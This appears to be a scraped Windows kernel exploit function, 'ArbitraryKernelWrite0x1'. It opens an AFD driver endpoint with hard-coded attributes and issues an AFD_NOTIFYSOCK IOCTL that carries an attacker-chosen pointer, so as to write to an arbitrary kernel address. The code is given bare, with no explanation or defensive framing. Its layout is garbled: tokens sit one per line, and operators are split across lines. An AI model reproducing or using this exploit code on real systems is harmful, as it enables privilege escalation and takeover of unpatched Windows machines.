int
ArbitraryKernelWrite0x1(void
*
pPwnPtr)
{
int
ret
=
-
1
;
HANDLE hCompletion
=
INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock
=
{
0
};
HANDLE hSocket
=
INVALID_HANDLE_VALUE;
UNICODE_STRING ObjectFilePath
=
{
0
};
OBJECT_ATTRIBUTES ObjectAttributes
=
{
0
};
AFD_NOTIFYSOCK_DATA Data
=
{
0
};
HANDLE hEvent
=
NULL;
HANDLE hThread
=
NULL;
/
/
Hard
-
coded attributes
for
an IPv4 TCP socket
BYTE bExtendedAttributes[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0F
,
0x1E
,
0x00
,
0x41
,
0x66
,
0x64
,
0x4F
,
0x70
,
0x65
,
0x6E
,
0x50
,
0x61
,
0x63
,
0x6B
,
0x65
,
0x74
,
0x58
,
0x58
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x06
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x60
,
0xEF
,
0x3D
,
0x47
,
0xFE
};
ret
=
_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL,
1
);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
_NtSetIoCompletion(hCompletion,
0x1337
, &IoStatusBlock,
0
,
0x100
);
if
(
0
!
=
ret)
{
goto done;
}
ObjectFilePath.
Buffer
=
(PWSTR)L
"\\Device\\Afd\\Endpoint"
;
ObjectFilePath.Length
=
(USHORT)wcslen(ObjectFilePath.
Buffer
)
*
sizeof(wchar_t);
ObjectFilePath.MaximumLength
=
ObjectFilePath.Length;
ObjectAttributes.Length
=
sizeof(ObjectAttributes);
ObjectAttributes.ObjectName
=
&ObjectFilePath;
ObjectAttributes.Attributes
=
0x40
;
ret
=
_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL,
0
, FILE_SHARE_READ | FILE_SHARE_WRITE,
1
,
0
, bExtendedAttributes, sizeof(bExtendedAttributes));
if
(
0
!
=
ret)
{
goto done;
}
Data.hCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.dwTimeout
=
100000000
;
Data.pPwnPtr
=
pPwnPtr;
if
((NULL
=
=
Data.pData1) || (NULL
=
=
Data.pData2))
{
ret
=
GetLastError();
goto done;
}
hEvent
=
CreateEvent(NULL,
0
,
0
, NULL);
if
(NULL
=
=
hEvent)
{
ret
=
GetLastError();
goto done;
}
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data,
0x30
, NULL,
0
);
ret
=
0
;
done:
if
(INVALID_HANDLE_VALUE !
=
hCompletion)
{
CloseHandle(hCompletion);
}
if
(INVALID_HANDLE_VALUE !
=
hSocket)
{
CloseHandle(hSocket);
}
if
(NULL !
=
hEvent)
{
CloseHandle(hEvent);
}
if
(NULL !
=
Data.pData1)
{
VirtualFree(Data.pData1,
0
, MEM_RELEASE);
}
if
(NULL !
=
Data.pData2)
{
VirtualFree(Data.pData2,
0
, MEM_RELEASE);
}
return
ret;
}